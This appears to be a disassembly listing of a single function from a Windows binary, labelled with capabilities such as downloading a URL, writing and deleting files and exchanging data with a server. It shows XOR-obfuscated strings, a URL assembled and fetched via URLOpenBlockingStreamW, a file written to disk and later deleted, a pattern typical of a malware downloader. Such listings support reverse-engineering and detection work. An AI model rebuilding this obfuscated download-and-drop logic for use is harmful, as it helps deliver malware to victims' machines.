Function at 0x403c50
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x444651
mov eax, dword fs:[0]
push eax
mov eax, 0x5090
call fcn.0041de70
mov eax, dword [0x453170]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5028], edx
mov dword [ebp - 0x5098], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5094], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5030], eax
call fcn.00406960
mov ecx, dword fs:[0x2c]
mov esi, eax
mov dword [ebp - 0x5088], esi
mov dword [ebp - 0x501c], 0xd168eed1
mov ebx, dword [ecx]
mov dword [ebp - 0x508c], ebx
mov eax, dword [ebx + 0x1a8]
test al, 1
jne 0x403d09
or eax, 1
mov dword [ebx + 0x1a8], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x24c], 0x197
push 0x444be0
mov dword [ebx + 0x248], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x24d], 0
lea edi, [eax + 0x248]
je 0x403d68
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xb50199b9
and ecx, 7
mov edx, 0x9799397
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x403d58
cmp esi, 5
jb 0x403d31
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 5], 0
push dword [0x45593c]
push edi
push esi
call fcn.00406790
mov eax, dword [ebx + 0x1a4]
mov dword [ebp - 0x501c], 0xd9f1d8a5
mov word [ebp - 0x5018], 0x16ee
test al, 1
jne 0x403dd9
or eax, 1
mov dword [ebx + 0x1a4], eax
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x2fa], 0x115
mov dword [ebx + 0x2f4], eax
mov ax, word [ebp - 0x5018]
push 0x444bc0
mov word [ebx + 0x2f8], ax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x2fb], 0
lea edi, [eax + 0x2f4]
je 0x403e38
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xb581bdc1
and ecx, 7
mov edx, 0x2b156f81
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x403e28
cmp esi, 7
jb 0x403e01
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 7], 0
movsd xmm0, qword [0x450b80]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.004066d0
mov eax, dword [ebx + 0x1a0]
mov dword [ebp - 0x501c], 0x7e87ca0f
test al, 1
jne 0x403e9c
or eax, 1
mov dword [ebx + 0x1a0], eax
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x184], 0x145
push 0x444ba0
mov dword [ebx + 0x180], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x185], 0
lea edi, [eax + 0x180]
je 0x403efb
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x1bf7b37b
and ecx, 7
mov edx, 0xad957d45
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x403eeb
cmp esi, 5
jb 0x403ec4
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 5], 0
movd xmm0, dword [ebp + 0x10]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push edi
push esi
call fcn.004066d0
mov eax, dword [ebx + 0x308]
mov dword [ebp - 0x5020], 0x91f99c33
test al, 1
jne 0x403f5e
or eax, 1
mov dword [ebx + 0x308], eax
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x5020]
mov byte [ebx + 0x274], 1
push 0x444b80
mov dword [ebx + 0x270], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x274], 0
lea edi, [eax + 0x270]
je 0x403fbd
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x918bf945
and ecx, 7
mov edx, 0x79c3b345
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x403fad
cmp esi, 4
jb 0x403f86
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 4], 0
movsd xmm0, qword [0x450b88]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.004066d0
push esi
call fcn.00406bc0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
push dword [ebp - 0x5088]
mov esi, eax
call fcn.00406bc0
mov edx, esi
mov ecx, eax
call fcn.00401130
push eax
mov dword [ebp - 0x5090], eax
call edi
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x5024], 0x82511c9f
mov eax, dword [ebx + 0x1d8]
mov dword [ebp - 0x5018], esi
mov dword [ebp - 0x5020], 0xf51c20d6
test al, 1
jne 0x404079
or eax, 1
mov dword [ebx + 0x1d8], eax
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x5024]
mov ecx, dword [ebp - 0x5020]
mov byte [ebx + 0x228], 1
mov dword [ebx + 0x220], eax
push 0x444b60
mov dword [ebx + 0x224], ecx
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x228], 0
lea edi, [eax + 0x220]
je 0x4040d8
xorps xmm0, xmm0
movlpd qword [ebp - 0x5024], xmm0
mov ebx, dword [ebp - 0x5020]
mov esi, dword [ebp - 0x5024]
mov ecx, esi
mov eax, 0xe3257dfb
and ecx, 7
mov edx, 0xf56f05eb
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4040c8
cmp esi, 8
jb 0x4040a1
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5018]
mov byte [edi + 8], 0
push dword [ebp - 0x5090]
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push 0
push eax
call fcn.0041f670
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, esi
call fcn.00401440
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push dword [ebp - 0x5090]
call esi
push dword [ebp - 0x5088]
call fcn.00406990
lea eax, [ebp - 0x5014]
push eax
call fcn.00406a30
mov ecx, dword [ebx + 0x318]
mov dword [ebp - 0x5090], eax
mov dword [ebp - 0x501c], 0x48b27607
test cl, 1
jne 0x40419a
or ecx, 1
mov dword [ebx + 0x318], ecx
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x10c], 0x1af
push 0x444b40
mov dword [ebx + 0x108], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x10d], 0
lea edi, [eax + 0x108]
je 0x4041f3
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x2ddf1769
and ecx, 7
mov edx, 0x31d103af
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4041e9
cmp esi, 5
jb 0x4041c2
mov ebx, dword [ebp - 0x508c]
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x5090]
call fcn.00406a10
mov ecx, dword [ebx + 0x2c8]
mov dword [ebp - 0x5018], eax
mov dword [ebp - 0x5024], 0xc6e8c631
test cl, 1
jne 0x404253
or ecx, 1
mov dword [ebx + 0x2c8], ecx
mov dword [ebp - 4], 6
mov eax, dword [ebp - 0x5024]
mov word [ebx + 0x27c], 0x1e3
push 0x444b20
mov dword [ebx + 0x278], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x27d], 0
lea edi, [ebx + 0x278]
je 0x4042ab
xorps xmm0, xmm0
movlpd qword [ebp - 0x5024], xmm0
mov ebx, dword [ebp - 0x5020]
mov esi, dword [ebp - 0x5024]
nop dword [eax]
mov ecx, esi
mov eax, 0xb59ba741
and ecx, 7
mov edx, 0xabe3a9e3
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4042a7
cmp esi, 5
jb 0x404280
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x5090]
call fcn.00406a10
mov dword [ebp - 0x5088], eax
mov eax, dword [ebp - 0x5018]
push dword [eax + 0x10]
lea eax, [ebp - 0x3014]
push 0x455520
push 0x459940
push 0x459b48
push str._hs:___hs_hs__hs.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x2014]
push dword [0x455930]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2014]
push 0x45063c
push eax
call esi
push dword [ebp - 0x5098]
lea eax, [ebp - 0x2014]
push eax
call esi
xor ebx, ebx
lea eax, [ebp - 0x5020]
push ebx
push ebx
push eax
lea eax, [ebp - 0x3014]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x4043d8
mov eax, dword [ebp - 0x5020]
lea edx, [ebp - 0x5084]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x4043c4
mov edi, dword [ebp - 0x507c]
inc edi
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4043ca
push edi
xorps xmm0, xmm0
push 0
push ebx
movlpd qword [ebp - 0x509c], xmm0
call fcn.0041f670
mov eax, dword [ebp - 0x5020]
add esp, 0xc
mov ecx, dword [eax]
push 0
push 0
push dword [ebp - 0x5098]
push dword [ebp - 0x509c]
push eax
call dword [ecx + 0x14]
mov ecx, dword [ebp - 0x5020]
lea eax, [edi - 1]
push 0
push eax
push ebx
mov edx, dword [ecx]
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 0x5020]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x4043de
mov edi, dword [ebp - 0x5098]
mov eax, dword [ebp - 0x5020]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x4043de
mov edi, dword [ebp - 0x5098]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x2014]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x5038]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x2014]
push 0
push 0
push 0
push 0
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi + esi]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push esi
push eax
mov dword [ebp - 0x5018], eax
lea eax, [ebp - 0x2014]
push eax
call ebx
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push 0xfde9
call edi
push dword [ebp - 0x5030]
mov edx, dword [ebp - 0x5088]
push dword [ebp - 0x5094]
mov ecx, dword [ebp - 0x5018]
push dword [ebp - 0x5028]
mov edx, dword [edx + 0x10]
call fcn.00401590
add esp, 0xc
call fcn.00406960
mov edi, dword [ebp - 0x508c]
mov dword [ebp - 0x5088], eax
mov dword [ebp - 0x502c], 0xe11ca8f5
mov ecx, dword [edi + 0xdc]
test cl, 1
jne 0x404509
or ecx, 1
mov dword [edi + 0xdc], ecx
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x1f0], 0x1f7
push 0x444b00
mov dword [edi + 0x1ec], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x1f1], 0
lea ebx, [eax + 0x1ec]
je 0x404562
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x8575df9d
and ecx, 7
mov edx, 0x3e10df7
shl ecx, 3
call fcn.00443dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x404558
cmp esi, 5
jb 0x404531
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 5], 0
push dword [0x45593c]
push ebx
push dword [ebp - 0x5088]
call fcn.00406790
mov eax, dword [edi + 0x198]
mov dword [ebp - 0x502c], 0xd0562eb
mov word [ebp - 0x5028], 0xa16
test al, 1
jne 0x4045d8
or eax, 1
mov dword [edi + 0x198], eax
mov dword [ebp - 4], 8
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x11e], 0x14b
mov dword [edi + 0x118], eax
mov ax, word [ebp - 0x5028]
push 0x444ae0
mov word [edi + 0x11c], ax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x11f], 0
lea ebx, [eax + 0x118]
je 0x404631
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x6175078f
and ecx, 7
mov edx, 0xfd4b7379
shl ecx, 3
call fcn.00443dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x404627
cmp esi, 7
jb 0x404600
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 7], 0
movsd xmm0, qword [0x450b88]
sub esp, 8
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x5088]
call fcn.004066d0
mov eax, dword [edi + 0x264]
mov dword [ebp - 0x502c], 0xece902a9
test al, 1
jne 0x40469a
or eax, 1
mov dword [edi + 0x264], eax
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x1cc], 0x1b9
push 0x444ac0
mov dword [edi + 0x1c8], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x1cd], 0
lea ebx, [eax + 0x1c8]
je 0x4046f3
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x89997bdd
and ecx, 7
mov edx, 0x876d81b9
shl ecx, 3
call fcn.00443dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x4046e9
cmp esi, 5
jb 0x4046c2
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 5], 0
movd xmm0, dword [ebp + 0x10]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x5088]
call fcn.004066d0
mov eax, dword [edi + 0xf0]
mov dword [ebp - 0x5020], 0x79ab52ed
test al, 1
jne 0x40475b
or eax, 1
mov dword [edi + 0xf0], eax
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x5020]
mov byte [edi + 0xfc], 1
push 0x444aa0
mov dword [edi + 0xf8], eax
call fcn.0041dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0xfc], 0
lea ebx, [eax + 0xf8]
je 0x4047b4
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x79d9379b
and ecx, 7
mov edx, 0x995bd37d
shl ecx, 3
call fcn.00443dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x4047aa
cmp esi, 4
jb 0x404783
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 4], 0
movsd xmm0, qword [0x450b88]
sub esp, 8
movsd qword [esp], xmm0
push ebx
mov ebx, dword [ebp - 0x5088]
push ebx
call fcn.004066d0
push ebx
call fcn.00406bc0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
call fcn.00406bc0
mov edx, esi
mov ecx, eax
call fcn.00401130
mov esi, eax
push esi
mov dword [ebp - 0x5094], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x5034], 0xdc517013
mov eax, dword [edi + 0x150]
mov dword [ebp - 0x5028], ebx
mov dword [ebp - 0x5030], 0x4f2e9014
test al, 1
jne 0x40486e
or eax, 1
mov dword [edi + 0x150], eax
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x5034]
mov ecx, dword [ebp - 0x5030]
mov byte [edi + 0x140], 1
mov dword [edi + 0x138], eax
push 0x444a80
mov dword [edi + 0x13c], ecx
call fcn.0041dbad
add esp, 4
cmp byte [edi + 0x140], 0
lea edi, [edi + 0x138]
je 0x4048cb
xorps xmm0, xmm0
movlpd qword [ebp - 0x5034], xmm0
mov ebx, dword [ebp - 0x5030]
mov esi, dword [ebp - 0x5034]
mov ecx, esi
mov eax, 0xbd251177
and ecx, 7
mov edx, 0x4f5db529
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4048bb
cmp esi, 8
jb 0x404894
mov ebx, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x5094]
mov byte [edi + 8], 0
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push 0
push eax
call fcn.0041f670
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, ebx
call fcn.00401440
add esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
call ebx
push esi
call ebx
push dword [ebp - 0x5088]
call fcn.00406990
push dword [ebp - 0x5090]
call fcn.00406990
lea eax, [ebp - 0x2014]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x5018]
call ebx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041d829
mov esp, ebp
pop ebp
ret